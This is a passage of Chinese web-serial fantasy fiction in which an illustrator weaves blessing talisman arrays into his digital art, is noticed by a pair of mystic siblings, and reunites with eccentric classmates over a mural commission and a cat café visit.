背景中若隐若现的肌理似乎有底纹存在,看不真切,这是婴灵教吴惟的祝福符阵。
符阵和符箓不是一个东西,一个靠画一个靠写,写出来的东西,虽不要求一模一样,但必须要气运流畅,画出来的就不一样了,只要找准关键点,其他部分是可以删改的。
虽然听起来好像写符更加麻烦,但其实不然,写符的要求虽高,但除非你是研究新的符箓,不然只要临摹即可,是可以熟能生巧的。
符阵则需要想象力,除了关键点位以外,画成什么样完全靠取决于你自己,至于效果,得看你的符阵画出来,是否能和环境产生连结,绘画的材料也不一定是笔。
它更像是布阵,大多数符阵师都是风水大师。没错,符阵不是单独存在的,它一定要和周围的环境相契合才可以。
婴灵大概怎么也想不到,吴惟居然能用电脑画出来,什么,没有环境,那就画一个环境出来,无中生有。
最让婴灵无语的是,她感受了一下发现居然可行?
至于以前为什么没有人这么做呢,那个年代的画师们经历的都是书画同源,基本上画画好的都跑去学符了。
更何况本来无中生有的效果就没有直接改造环境来的强,没有电脑这个媒介,不能大范围传播也没有什么意义。
吴惟本身画进画面里,就只是觉得好看,加上顺手的事,谁能想到还能真正附着愿力呢。
愿力是心愿之力,一般而言,对别人的祝福都会产生一定的能量,只不过普通人不会用,这股愿力很快就会散。
只有用一些手段加持和聚拢,愿力才能真正起效。
比如上次吴惟无意识使用的言灵,就是利用文字的加上,之后被判官笔激发出来的灵觉附着上去的。
符阵的功效比这更强,并且可持续,如果有人看了这幅画产生了正面情绪,这股情绪也会变成愿力被它聚拢,回馈给吴惟,同时,对方也会得到一定的好运加成。
这么一盘,婴灵发现自己好像见证了什么不得了的东西。
吴惟瘫在椅子上,死鱼眼望天:“一不小心开大了,画死我了。搞成这样不好意思叫自画像了,还是当oc吧。”
婴灵无情吐槽:“不好意思当自画像,可以当儿女是吧…”
吴惟:“oc人基操,让我歇歇,过两天补张天官人设吧。”
婴灵:“以后的事以后再说,都12点了,你不饿吗?你先回来休息把,我去弄点东西吃。”
“好嘞,感谢判官小姐!”吴惟一个闪身窝进空间里瘫着了。
婴灵无奈,活动了一下僵硬的身躯,盘了盘冰箱里剩下的菜,点开某书:“让我看看今天做点什么吃…”
小婴儿叹气,今天也是养崽的一天。
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7. 第 7 章
事事无为:[百无禁忌,诸邪回避 #图片#]
[啊!太太终于更新了!]
[卧槽!这场景好宏大!]
[好哎,是天官赐福!]
[前排高亮提示:此处天官赐福是指:是天、地、水三官的天官天官赐福,地官赦罪,水官解厄,天官全名上元一品赐福天官紫微大帝,是…(省略五百字科普)ky请自觉离场,请顶我上去!]
[表白楼上科普君!]
[表白无为太太,天官赐福日在正月十五上元节哦,这天官俯瞰人间歌舞升平,万家灯火不要太有感觉!尤其是紫薇大帝唇边的笑容,真的好温柔,呜呜呜真神仙最爱的永远是天下苍生!!]
[……]
吴惟全平台发布了一遍之后,随便刷了刷评论,这一看,好家伙,上次漫展后遗症还真厉害,出现了科普帝,和分析帝,很好,以后不用自己解释一大段了,真不错。
吴惟一直有个习惯,画完一张画之后会在评论区写出自己的创作心得和资料来源,往往很大段,然后再置顶。
本来发完回到某博就是准备开始写稿了,结果发现已经有人帮他写了,吴惟点了个赞偷偷溜了。
画完这张耗费了太多心力,看了一眼自己的小金库,够维持很长一段时间了,不急着接稿,干脆给自己放了个假,准备休息几天。
过两天看看有没有什么好玩的地方,出去玩两天。
不然去隔壁市的博物馆逛逛?
.
上次漫展过后,夙逸兴就把“事事无为”设置成了特别关注了。
这一更新,她第一时间就收到了消息提示,点进去看了一眼沉默了。
点开图片,长按保存,点开某鹅,发送图片,一气呵成。
小玉盘:#图片#
明明明月:?
小玉盘:弟啊,你看这张图,有没有发现什么
明明明月:?!
小玉盘:对吧对吧,你也发现了吧,这张画上居然有愿力
明明明月:。
小玉盘:你去某博关注一个叫事事无为的博主,这画是他画的
小玉盘:我怀疑他也是同门中人,前段时间我室友不是去漫展嘛,他给的签名还救了我室友一命呢,我当时还让你给我室友画了符你还记不记得?
小玉盘:我跟你讲,当时…巴拉巴拉…
夙逸兴把之前的事秃噜了出来…
半小时后…
小玉盘:人呢?
.
临大,图书馆。
安静的环境,一切声音都会被放大,哪怕只是“噼里啪啦”敲键盘的声音。
这样的白噪音如果轻缓一点,是非常适合学习的,但这声音偏偏如暴雨袭击大唐鼓一般又密又急。
“来如雷霆收震怒,大珠小珠落玉盘…”隔壁文学系妹子合上书,已经开始胡言乱语了。
妹子晃了晃进水的脑袋,把目光转向鼓点来源,只见靠窗的位置,规规矩矩得坐着一个白衬衫的男生,眼神专注地盯着电脑,手指在键盘上飞跃没有丝毫停顿。
“啧啧计算机系的同学这么惨嘛,看起来作业很多的亚子。”妹子摇了摇头,准备把书借回去看。
毕竟这段时间作业多的也不止计算机了,君不见隔壁所有有大桌子的会议室全被环境设计的同学占领了。
一群苦逼的娃,那作业大的宿舍的小桌子根本放不下,听说有的拥有下铺的同学已经把铺盖卷起来当桌子用了,实惨!
妹子狠狠地怜爱了一下其他系的同学,并准备把位置给这群可怜娃让出来。
只是没想到这一层计算机的同学居然只有这么一个,真是少见。
计算机的同学要是能听到,肯定很想大吼,谁想跟变态学霸坐一起啊,心理压力很大的好吧!
别人怎么想跟夙明月无关,此时此刻,他觉得自己的手都快擦出火花了。
毕竟早点把作业做完,才有空研究自家不靠谱的姐姐发来的那张图。
两小时后,夙明月长舒一口气,一脸安详地合上电脑,倒在身后的靠枕上。
临大图书馆环境非常好,配套设施齐全,有些细节设计更是做到了极致。
未免学生坐久了伤腰,卡座上一般都会放满靠枕,旁边再留两个备用,甚至抽屉里都有肩颈按摩仪、蒸汽眼罩等可供使用。
夙明月很顾形象地靠在靠枕上,掏出手机,不出所料,自己什么都没说,自家姐姐就已经巴拉巴拉全盘托出了。
明明明月:赶作业,刚做完,现在看。
发完这条消息,夙明月才往上扒拉,反正某人估计在为他不回消息置气,肯定也不会回。
“事事无为?上次那张带言灵的画,反而愿力没有这个稳定,是刻意的,还是短短时间就进步了?”夙明月把图放大,一点一点扣,也没看出个所以然来。
“一般来说符箓想要达到效果,是和笔锋、材料、修为或者说注入的能量有关。而且保存必有一个媒介。平板画符我也不是没有试过,但是由于笔锋死板,气韵无法连贯,效果并不好,发到另一个设备上,中间的能量就会散掉。”
“难道是因为我用到的是清气而非愿力?”
“但是正常来说,愿力是需要付出感情,这人的情感是得多充沛才能转发这么多次也不见少。”
夙明月表示不理解,他打开某博,去“事事无为”的主页看了一下,置顶第一条就是这幅天官赐福。
“不对,这愿力不仅没有散,反而聚集了更多!”夙明月坐直了身体,多少有点震撼了,不过小图多少还真让他看出了点东西。
众所周知,画画的人创作的时候都会为了整体不跑偏,画一段时间就会缩小去看效果,吴惟自然也不例外。
符阵的嵌入也是需要考虑整体的。
在玄门中,阵是棋之道,是易之道,是变化之法,夙明月此人学习能力极强,有一点强迫症在身上,但在变通方面反而弱了许多。
符箓是书之道,是规则架构的延伸,虽走到尽头也是需要通变化,走出自己的路,但仅仅是模仿,前面的路还是可以走的又快又好的。
更何况现在的道统早就没落了,很多传承也已经断绝,几乎没有人能够走多远,所以夙明月选择修符完全没有问题,并且在符界也是有一席之地的天才人物。
夙家姐弟多多少少都有点审美偏执,夙逸兴喜欢打破传统的美,表现在外就是喜欢做各种风格乱搭的服装;夙明月呢则是喜欢规规矩矩的美,表现在外就是他的强迫症,比如他画符会追求一模一样,再比如,虽然对布阵一窍不通,但喜欢各种好看的阵盘。
阵法要实用,自然得运行流畅,运行流畅了,自然呈现在外的就是一种韵律感,所以一般好的阵基都会很美,尤其是很符合夙明月的审美。
哪怕夙明月学不会,多多少少也有涉猎,基础的认知还是有的。
符阵符阵,自然是基于阵法,以符箓的方式呈现,正好两者都有涉猎的夙明月,怎么着也能看出些许问题。
明明明月:#用红线标注出阵法大概走向的图片#
明明明月:应该是用阵法聚集的愿力,你现在点开某博能看到那张画愿力更强了
小玉盘:什么阵法
明明明月:看不出来,是我没见过的
小玉盘:草草草草!!真的更强了!
明明明月:要不要给族长看看,不知道他收集愿力是做什么的,万一…
夙明月也不知道万一什么,说到底对方聚集的愿力也是正面的情绪,能做什么坏事呢?
唯一值得提防的地方应该就是用它来获得名利,但是愿力的反馈是相互的,他的画给别人正能量,再收获正能量,双向受益稳赚不赔的买卖。
夙逸兴显然也想到了这点。
小玉盘:先观察观察吧,如果对方人品不错,你也不能强迫别人不要做好事不是
明明明月:也行,你时间多,你盯着吧
小玉盘:什么叫我时
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间多?!!你姐姐我是当苦力的嘛!
明明明月:我最近被教授盯上了,作业超多,麻烦我亲爱的姐姐不要再压榨我了,不然你可能再也见不到你弟弟了
小玉盘:#摸摸狗头#
小玉盘:行吧,你歇着吧,我盯着
.
某些人,还不知道自己被人盯上了,正在快落滴教小孩子玩游戏呢。
“你直接一头扎进去肯定会被吹跑,用滑翔模式蹭风墙就会被抬起来,你试试。”
“哦对,记得蹭云回下能量,不然得不到那个高度。”
婴灵操控着矮人雨妈蹦蹦哒哒来到云边,很快就回满了能量,再次起飞,乘着风倏的一下就飞的老高。
“哇偶~大鹏一日同风起,扶摇直上九万里!”婴灵玩的有些兴奋。
地府虽然没有什么飞行限制,但是没有这么明亮的环境呀!
须知,有实体的活物是生活在虚无的空气中的,没有实体的鬼魂自然是生活在实体中,地府地府,当然是地下的地。
没有光线,一片黑暗,人们互相交流用的也并非五感,毕竟身体器官都没有哪来的五感。
所谓第六感,是与周围环境连结,读取到信息从而得到的一种感官。
当人的意识离开身体之后,灵魂都会无师自通以此为基础,模拟生前的五感。
因为这是作为人最熟悉的感官,所以哪怕人死后没有五感也会以为自己还和生前一样能够看见、听见。
所以在地府,哪怕所处的环境基本上和人间一样,山间花木,有车水马龙,但没有光线能够进来的地府,就是纯黑的。
就类似于刮板刮,空无一物的天空是黑色的,有东西的地方反而色彩斑斓。
这样的环境下长大的婴灵,在吴惟看来,应当是没见过什么绚烂的风景的。
虽然他没见识过地府,但据说判官笔内的空间,其实和地府差不了多少了。
这种美术在线的旅行游戏,倒是挺适合给婴灵玩的。
看着用自己身体做出各种和自己性格完全不符,生动又活泼表情的婴灵,吴惟露出了姨母笑。
当然,这只不过是吴惟想当然的臆测,待他魂归地府的时候才发现,地府风景虽然不同,但也有许多意想不到的惊喜。
[这俩人,互相都把对方当小崽子养了啊,真是没眼看…]判官笔无情吐槽。
不过嘛,所有吐槽都是自娱自乐,谁让吴惟这小子看不到,另一个又在外面呢,笑死,孤寡老笔了属于是。
“嗡嗡”
婴灵正玩得开心,手机振动了两下,上面弹出了某鹅的消息框:
仰飞光:兄弟,有个活在临市,有兴趣没?
雨妈“呼啦”一下被风墙掀翻…
婴灵呆了一下,戳了戳空间里的吴惟,“有人找你唉。”
两人瞬间互换,吴惟点开消息
仰飞光:#翻新旧楼图片#
仰飞光:要画的是这栋楼一圈的四面墙
仰飞光:甲方想要国风的效果,这不,我记得你上学那会儿最擅长的题材就是这个,怎么样,要不要来给我当个参谋
无为:…你怎么知道我在临市
仰飞光:唉?你平时都不看群嘛,玲玲姐把你在漫展上的美照发群里咯 #偷笑#
仰飞光:上学的时候也没看出来你这么受欢迎啊大美人 #猫猫坏笑#
无为:#一脸呆滞#
殳玲啊,难怪了,又是一个老二次元,说她在现场吴惟都信。
脑子里不满地指指点点一番,但是没办法,略过略过。
无为:行,不过我现在基本上都是用电脑在画,没材料
仰飞光:放心,肯定不会让你出材料的,晚会儿我把合同发给你
无为:#小蛇比ok#
刚划掉某鹅,吴惟强迫症上来了,不行,得看看那群逗比怎么编排自己的,明明上学的时候存在感很低啊,怎么就被人注意到了呢。
.
8. 第 8 章
[神子大人的后宫]
吴惟:“?”
吴惟刚刚点进群列表,没有找到班级群,却多了这么一个可疑的群。
为什么说可疑呢,因为虽然设群也经常改名字,但风格很固定,都会用一些亮闪闪的符号做开头,只有这个纯文字不至于二次元但…点开瞅一眼…
看着左边一列熟悉的名字,吴惟表示无语凝噎,还真尼玛是班级群!
虽然知道这群奇葩经常整活改名字,什么[猫主子踩我踩我]、什么[玲玲姐的舔狗们姿势很标准]、什么[爱就把你们都砌进石膏里]…
毕竟学艺术的哪有不疯的,他们班只是格外的外显而已。
但是作为一个小透明,唯一一次被调侃也仅仅是他的个人备注被改成了[班上所有人的头发君]。
这什么天道好轮回?
看着一排排队喊“神子大人万安,神子大人祝我××”的句式,吴惟忍无可忍!
神子大美人:不是,你们搁这隔空施法呢
神子大美人:?
吴惟用最快的手速把某鹅划关屏并逃进空间。
救命,这备注什么鬼,好社死啊!
社死是不能社死的,只要没看见,就是不存在。
吴惟面无表情地看着面前笑地直打滚的婴灵,冷笑一声,默默撇过头,假装什么都没看见。
早知道不答应那个[每天都在重生]的家伙了。
没错,由于仰飞光上学的时候很颠,整天都在说自己是从几分钟后重生过来的,马上发生什么大事。
有一次,那家伙站在画室突然朗诵起来:
“我听见,遥远的悲鸣声滚滚而来,如千军万马的嘶吼,马蹄踏碎苍穹,嘶鸣声震碎山河。洪流滚滚,所到之处皆被吞噬,那…”
“哗啦…”
突然,身后端着水壶的妹子冲出来,泼了仰飞光一脑袋水,打断了他的演讲。
往后一看,原来那妹子是被放在地上的涮笔筒绊了一跤,才将尽数泼在了仰飞光后脑勺。
万马奔腾,其实磅礴的水灾,原来是被浇脑袋。
类似这种事不止发生过一次,每次只要他一咏叹调,形容一种灾难,必应验与已身,于是被同学们调侃[每天都在重生],也是蛮玄学的。
吴惟本以为毕业了不会在见到这班奇葩了,没想到先联系自己的是这个奇葩中的奇葩。
婴灵:“这怎么不算是一种物以类聚呢:)”
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“呦~好久不见啊,神子大人~”
吴惟正靠着路灯玩手机,突然感觉好像有辆车停到了自己面前,还没抬头就听到这么欠揍的一句。
有些人呐,真的是你不能理解的社牛,明明没有说过几句话,张口就来。
不像自己,有时候一句话都要脑子里斟酌好几遍才敢说出口。
吴惟绷着脸收起手机走过去。
飞机头的帅小伙靠在车窗上,扬了扬头,“走,上车,哥带你去兜兜风!”
这种看偶像剧的即视感是怎么回事?
不是哥们,你几岁?
吴惟表示不忍直视,算了,老同学脑子不太好使,不能太计较。
他刚拉开后座的车门,仰飞光一脸震惊地喊道:“不是吧哥们,我大老远跑来找你玩,你居然这么对我!”
说到后面,仰飞光做西子捧心状,掩面流泪,哦不对,没有泪,某人的演技还不到这个程度。
吴惟:“嗯?”
仰飞光一脸看负心汉的表情,指责道:“你这是把我当司机了!不行不行你得过来坐副驾驶陪我!”
吴惟:“行叭。”
吴惟慢慢走到另一边上车,系好安全带,就听到婴灵的声音印到脑子里:“你这个小伙伴灵觉好强啊!”
吴惟:“?”
所以这奇葩当年在学校干的那些事是因为灵觉强,能感知到一定未来的事?
吴惟下意识看向这位老同学,眼睛都睁开了,本来应当凌厉的凤眼写满了惊愕。
吴惟:“所以他是玄门的人?”
哇偶,第一见这位整天丧丧的躲在角落里懒得理人的老同学睁开眼睛了!
还挺稀奇,仰飞光忍不住调戏了一下:“怎么?这么久不见,神子大人是不是被在下的帅气迷倒了~”
“好油…”吴惟一脸嫌弃扭头,就听到婴灵说:“不是,他身上没有半点修炼痕迹,不过这次估计就是冲着你来的。”
说到这婴灵,有点不好意思:“他的灵觉应该是天生的,灵觉强的人第六感也会很强,和周围环境建立关系的时候,有机会提取到一些关于未来的信息。”
“估计是在网上看到你的照片的时候,看到了什么东西,潜意识里认为接近你会比较安全。”
“毕竟现在的你,被愿力包裹着,一些乱七八糟的东西很难接近。”
而这些,都是在判官笔激发了吴惟的灵觉起才出现的。
后面婴灵会教吴惟符阵,一是看中他的天赋,二是拥有灵觉的人在一些东西面前就像肉骨头一样,好吃的很,如果没有自保能力,出事了她也会愧疚。
吴惟原本就是插画师,运营的账号本身就自带一定流量,虽然不多,但纯粹,以画入道,以愿力为基,是最合适的路子,不用刻意修炼,只要多把符阵融入自己的画中就可以了。
可以说非常契合吴惟本人了。
而漫展那次,谁也没想到能面对面收集到愿力啊,甚至因为刚认识不久,婴灵都没来得及教他什么,他的灵觉就自发的运转起来。
这大概也是判官笔选他的原因吧,真心的祝福,能够在没有任何加持下形成言灵,真是恐怖如斯。
仰飞光见好就收,也怕逗急了人跑了,虽然这位老同学情绪挺稳定了,但是万一呢。
仰飞光有个秘密,就是他每次遇到危险的时候,都能看到自己是怎么死的。
这个危险倒不是每次都致命,有的时候一些小磕小碰也会在他眼前呈现的无比恐怖,比如被什么东西绊了一跤,他会看到自己被绊倒跌下悬崖。
小的时候,大家都以为他有被害妄想症,不愿意接近他,渐渐和人群越走越远,甚至害怕交流。
直到后来他慢慢对这些事脱敏,发现并不是每次都有像看到的事情那样恐怖,才变得“正常”。
但由于长年不跟人交流,导致他社恐特别严重,看着别的小孩儿呼朋唤友,羡慕的不行。
初中时期接触了热血漫画,被一个个中二主角鼓舞了也开始学着主角用中二的语言伪装自己,很多小孩儿觉得他很酷,开始跟他做朋友,这个习惯就一直延续到了现在。
虽然中二在大学已经不流行了,但因为他的逗比沙雕,但是大家都挺乐意看他乐子的。
倒不是那种恶意的,只是觉得他整活很好玩,大家都乐意捧场。
别人收获了快乐,他收获了友谊。
他一度因为害怕和被孤立很讨厌看到未来这个能力,但在掌握规律之后,它不仅没有妨碍他与人交往,甚至还救了他好几次,他才意识到它有多棒,简直跟主角一样。
至于那个规律,就是看到的越夸张,危险性就越小,如果他看到的是被楼上掉下来的花瓶砸到脑袋这种真实情况肯定会发生事,大概率就是完全和现实重叠了。
仰飞光这几天过得很不好,致命的危机遇到了好几次,他怀疑有人想害他,但是怎么都找不到源头让他感觉心很慌。
直到他接到临市的委托,悬着的心终于有一刻安定,他决定说着感觉走,毕竟自己的特殊能力就已经救了自己很多次。
那边距离翻修完工还有一段时间,之后才是他的活,倒也不必着急,所以他暂时没带手下的工人一起,自己先驱车赶了过来。
一路有惊无险,感谢预知能力。
一个月前,玲玲姐在班级群里发了一组照片,是班上那个存在感最低的男生。
是那种一眼看不住就找不到人的,甚至你连想都想不起来的家伙。
仔细回想,甚至都不太记得他的长相,但是看到照片,一眼就能看出来是他,那个家伙,可从来没这么惊艳过。
那身影,飘然若仙,居然还自带安抚人心的特效…啊不对,安抚人心?
仰飞光敏锐的发现自己好像变得平静了,眼前想要扭曲成灾难形状的环境变得正常。
之后他跟着同学起哄,每天都混在人群里发上一条“神子大人万安,神子大人保我平安”
一个月内,就连小灾小难都变少了。
“卧槽!我该不会是搞到真的了吧!”
从那一刻起,仰飞光决定一定要把吴惟拉进项目组里,好好蹭蹭仙气。
为此还跑了好几趟德育,跟总务部扯皮,把原定的偏西式构成的壁画换成敦煌主题。
主打一个投其所好。
能抱到大腿最好!
也是蛮拼的了。
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敞篷的车子行驶在路上,微风轻抚搭在肩头的长发,吴惟看着街边熟悉的景象,有些微微出神。
倒不是刻意在想什么,只是习惯性的一边发呆一边胡思乱想。
仰飞光现在自在多了,他今天出来的时候刻意没像神子许愿,来的路上都有点心惊胆战。
而现在,那种彷徨的感觉一扫而空,身心都得到了放松,看来自己猜对了,果然不简单的是这位老同学本身,而不是照片。
仰飞光侧头问了一句:“神子大人想去哪里玩?”
吴惟收回目光看向他:“这话不应该问你吗?”
又不是他要出来的!
仰飞光嘴角抽搐,好一个不食人间烟火的神子大人,毕业三年了,跟大学时期一样清蠢…哦不,更像高中生!
也行吧,大概也只有这种清纯可爱的人才会受上天眷顾,给人带来宁静和安详呢,罪过罪过。
“你平时都去哪玩啊?”
吴惟思考了一下自己为数不多的出门经历,道:“博物馆,漫展,买菜,压马路。”
仰飞光:“?”
这一刻,仰飞光感到了十分的无助,就…想讨好一下未来大腿,但又怕把人带歪了怎么办,在线等急。
漫展最近没有,博物馆,鬼知道他都逛了多少次了,再带人去跟陪自己玩一样有
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点不合适了,买菜pass,压马路…
救命…
对了,“不然我们去猫咖吧!”
吴惟疑惑:“以前没见你多喜欢猫啊?”
这不是怕带坏大佬你嘛,至少比酒吧会所强吧!
不过嘴上肯定不能这么说,好在他能想到猫咖是因为…
“这不喵姐在咱学校附近开了家猫咖嘛,顺便去找老同学联络下感情。”
原来如此。
“话说你不讨厌猫吧,应该也没有过敏之类的吧?”仰飞光问的小心翼翼。
吴惟:“没有,不讨厌,很喜欢。”
仰飞光:“那就好!”
有了目的地,车子行驶速度就加快了。
路程稍微有点远,仰飞光怕吴惟感觉无聊,让小爱同学打开音响,点了几首国风音乐,可以说献媚至极了,然而对面是个瞎子。
连婴灵都看出来了,笑死。
[不过这种事就没必要提醒了吧,孩子还小(?ω?)]判官笔看多了也学会了用表情包。
“没错没错,才25呢,哈哈哈哈…”快八百岁的老婴灵如此说道。
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“欢迎光临…呦,好久不见重生者,还有,神子大人~”
云菲本来坐在前台有些无聊,学校附近工作日的白天没什么生意很正常,正想着要不要找本小说看看,就听到了门口的风铃响了。
一抬头发现是两个大熟人。
每日一重生的仰飞光,最近在班群里火了的神子大人吴惟,这俩人上学的时候可没什么交集,现在居然凑一起了云菲挺意外的。
仰飞光嬉皮笑脸地走到前台:“好久不见啊喵姐,这不刚回临市,人生地不熟的,就来你这儿混个脸熟。”
吴惟看到这个场景,再次感叹社牛的强大。
“欢迎,里面坐吧,想喝什么,我请客。”云菲还挺高兴的,她喜欢热闹,当年仰飞光给她带来不少乐子,现在人来她这玩,自然要好好款待。
“神子大人也请。”云菲看向吴惟的表情一脸揶揄。
“谢谢。”吴惟倒是没看出来啥,低声道了谢。
不知道说啥的时候,说谢谢准没错。
在场两人都快压不住唇角了,笑死,这也太好懂了吧。
“喵~”恰在这时,店里老大哥银虎缅因溜溜达达走到吴惟面蹭他的腿,还嗲嗲地叫了一声。
云菲有些意外,虽然老大哥脾气很好,也不介意人摸,可它从来不会主动。
“呦,神子大人很受欢迎嘛。”
吴惟也挺意外,他可不记得自己是什么招小动物的体质,不过送上门的,不撸白不撸。
吴惟蹲下身,小心翼翼试探着摸了摸它的头,那么大一直成年缅因,瞬间就躺吴惟脚上了。
这是?碰瓷?好家伙,自己哪天居然也有这待遇了?!
婴灵:“是愿力呢,毕竟小动物嘛,都比较敏感,这种正向的力量会让它们感觉很舒服。”
吴惟:“所以仰飞光也是小动物?”
这无端联想和吐槽,确实跟很有吴味。
吴惟撸了两把缅因的肚子,心满意足起身往里走,还是先坐下再说吧,撸猫什么的,猫又不会跑。
有愿力在,在猫猫面前任性一点又怎么样!
猫咖装修很温馨,整体以暖色调为主,卡座区域是木地板,桌子都是在安置地台上的,有点类似于榻榻米,地台上铺了毯子,地上台上有很多抱枕和毛绒玩具装点。
卡座区域和入门处也有一层地台抬高,不仅可以划分区域,还可以用来当做换鞋凳,坐下来套上鞋套,以免弄脏后面的区域。
婴灵:“这环境和你家卧室真像。”
吴惟:“这个嘛,因为都是我设计的。”
婴灵:“毫不意外呢。”
缅因一路跟到了卡座,见吴惟坐下了,很自然地靠着吴惟坐下了。
云菲看着还是很惊奇,“我养这小子这么多年都没这待遇,啧啧,你是什么迪士尼在逃公主吗?”
吴惟:“不至于…”
云菲:“哈哈,开玩笑,行,你们玩吧,想喝什么,我去给你们做。”
仰飞光:“来杯冰美式。”
吴惟下意识看了他一眼。
仰飞光:“怎么了?”
吴惟:“没啥。”
就…不太好说出口,这不被荼毒了一听到冰的第一反应是伤脾胃。
仰飞光:“有啥说啥呗,神子大人您这眼神看的我浑身发毛。”
吴惟:“好叭,其实也没啥,冰的伤脾胃,少喝比较好,我妈以前经常在我耳边念叨,现在一听到冰的就下意识有点应激,好像听起来有点扫兴。”
仰飞光:“哈哈没事,你这也是为我身体考虑嘛,那要热的吧。”
云菲有点看不懂了,这家伙什么时候这么听劝了,有情况!
云菲虽然脑子里活跃,但行动上一点也不显,记下之后转头问吴惟:“你呢?”
吴惟:“百香果吧。”
“好,你们先聊。”
我下去发个消息。
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9. 第 9 章
“我觉得这样不行,圆形建筑墙面本身就有一种连贯性,风格差异太大不太好,尤其是切成小块会显得零碎,如果能做成长卷的形式,色调和风格基本统一,只是内容做些调整的话,不容易出现割裂感。”
云菲端着饮品过来的时候,听到了这么一句,很好悬着的心死了,还以为磕到cp了呢,原来是肮脏的金钱关系。
哎呀完蛋了,刚刚才刚在玲玲姐面前造过谣,咳…假装不知道好了,我磕我的cp和真人有什么关系呢。
云菲放下饮品的时候,两人都没有抬头,方案聊的很是投入。
事业批也挺好磕的,诶呦你看这老板迁就不谙世事,一心向艺的设计师多好磕,尤其是这身高差。
吴惟个子并不高,差两公分才一米八,在班里也是最低的那个,哦对,说的是男生那一挂的,比起大部分女生来说还是算高的,这不,刚好比仰飞光低半个头。
云菲就喜欢身高差,咳,不能细想啊,悄悄画同人应该不会被发现吧,众所周知无为太太不怎么关注圈动态…
当事人要是知道,心估计也死了吧。
仰飞光无奈:“其实我也是这么想的,但问题是甲方还是希望可以多元化一点。”
他已经很尽力争取了,能给传统元素留一角已经是极限了。
吴惟思考了一下,想起某二游,国家不同,风格基本一致,好像也不是不行。
“那如果我们只是把敦煌作为一种风格呈现呢?”
仰飞光倏的抬头:“你是说…”
“咱们要的是风格统一,而不是元素统一,既然甲方想要多元化,把其他元素也融入到壁画中不就好了吗?风格统一最基础的是色调统一,因为人眼对于颜色才是最敏感的,只要做到色调统一,哪怕你前面用流线后面用切线都不会让人太出戏,当然这只是夸张的说法。”
“确实如此,只要把敦煌的色调融入进去,给人第一印象就是敦煌,如果再能把敦煌的一些元素悄悄植入…妙啊,那就先用这板,到时候让甲方把元素整合一下,咱们看看怎么改,到时候我去说,保管给他哄到不知北!”
“嗯。”吴惟放下草稿,喝了一口果茶,抱起旁边的布偶撸了起来,解决完思虑问题一身轻。
毛绒绒,嘿嘿,猫咖就是好,以后可以多出来逛逛,换换环境也换换脑子,虽然家里很舒服,但是外面有毛绒绒啊!
仰飞光回神,看着沉迷撸猫一脸享受的吴某人沉默了。
喝口咖啡冷静冷静…
“卧槽好苦!”老同学你坑我!
缅因看到旁边的人捞起布偶就很不满了,扒上吴惟腿直立起来一个劲蹭他的脸。
其他猫猫不明就里地看着两位老大哥,实在不知道他们发什么神经,虽然这个人身边很舒服,但是没必要这么讨好两脚兽吧。
牛奶猫跳到桌子上,用爪子拍在装冻干的塑料袋上,尾巴在仰飞光的胳膊上勾来勾去。
趁着那两只讨好那个让猫很舒服的人类,我先偷吃一个,嘿嘿~
仰飞光有些惊讶,该说不说不愧是喵姐,店里的猫猫都那么聪明,他环视了一下四周,发现他们好像被猫猫包围了。
并不是那种很刻意的围过来对着你干什么,而是做着自己的事,但位置能看出来很偏向他们,哪怕在被别的顾客喂猫条的,也要背对着他们,尽量离这边近一点。
真神奇啊。
“喵!”牛奶猫不满地用尾巴拍打仰飞光手臂。
人类你在干什么,有我在你居然看其他猫!
好的猫主子大人,这就喂…
不过总感觉忘了什么,对哦,说好的带人出来玩,居然成了探讨项目,自己居然还没有察觉,嘶…神子大人恐怖如斯。
婴灵要是知道他心里在想什么的话,肯定会吐槽一句,“对吴某人来说,这就是在玩啊,又不是细化火葬场。”
是谁板子里存了无数没头没尾的草稿我不说。
两人走后云菲抱着在她怀里撒娇的布偶,轻声呢喃道:“很喜欢他?很舒服的气息?啧啧以前怎么没发现呢,隐藏的可真深。”
“难怪这俩人能混到一起。”
毕竟仰飞光那家伙,直觉比小动物还敏锐呢:)
神明和他的家养小动物,这个设定也不错,会不会妖王更好一些…算了,吴惟那张脸一点也妖不起来…
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吴惟回到家,一脸困倦地窝在狗窝里,听婴灵说着惊人的消息:“我真怀疑你之前上的是个什么学,同学里面有一个就算了,居然还有第二个。”
“云菲怎么了?难不成是猫妖?”
婴灵捂脸:“你可真会想,这个时代基本没有活着的妖了。”
吴惟放空大脑胡乱问道:“难不成那句‘建国之后不许成精’的戏言真的能成为世界基本设定?”
婴灵懵了一瞬:“什么设定?什么跟什么啊,这什么传言这么离谱!没有什么许不许的,现在没有妖那是因为妖族的传承断绝了,但是如果条件到了也不是不能,人类建国跟妖族有什么关系。”
婴灵:“哦对,还是有点关系的,毕竟你们那个所谓的‘不迷信’把讨封的路子封死了,少了这么一条捷径呢。”
婴灵:“说回你那个同学,她也是高灵觉的人,只不过表现形式不一样,就像人的天赋一样,你擅长画画,别人擅长音乐,灵觉也是这样的,那个女孩儿的灵觉,应该是作用在和动物沟通上。”
只不过这种沟通并不是像一些小说里写的那样,她能听懂对方的语言,其中的作用不在听,而在感受。
她能懂小动物的心思,这种心思是在情绪上更进一步而已,并不是多么玄乎的东西。
吴惟不太在意,只是“哦”了一声,就翻身睡过去了,同学不一般又能怎么样,跟自己有关系吗?
或许,以后可以补充在设定上。
婴灵无语:“…他好颓啊”
[他好颓啊…]
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育德高中是临市的一所私立高中,学费贵的要死,但不得不说校园环境是真的不错。
教学楼不是死板的方块,而是专门设计过的偏工业风建筑群,除了空出来需要用的几个大操场以外,绿化也做的很不错。
从繁华的都市走入这样的校园,颇有一种闹中取静的感觉。
吴惟大概看了一下,单绿化面积就差不多占了学校的一半还要多。
总务主任带着仰飞光和吴惟大致在校园里逛了一圈,详细介绍了校园建设的理念。
虽然之前对着照片做过大致方案,但毕竟要落地的项目肯定是需要考察现场的,这甫一完工,仰飞光约了甲方实地考察。
不仅要看那栋翻新的,准备作为艺术角展览馆的楼,还要看看周围的环境,哦不对,应该说主要是带吴惟看看,毕竟他才是总设计师。
吴惟一边听着,一边点头,要说德育高中的建设部门还是很有眼光的,工业风格的建筑很百搭,哪怕整体偏素,某个角落做出浓墨重彩的一笔,也不会显得突兀,反而能成为点睛之笔。
难怪校方能理直气壮地提出要多元化,看来并不是因为没有审美乱提的。
听仰飞光和总务主任聊天代表就能听出来,这甲方还算比较开明,只要你说的合理,在不违背原则的情况下对方都会同意。
“这样,你们先按照之前说的和你们的想法各出几版方案,我这边也好对比着来。”
总务主任毕竟不是学美术的,自然不可能单听描述就能想象到效果是怎样的。
仰飞光:“好嘞,那就先这样,我们这两天就先做方案,吴惟,你说呢?”
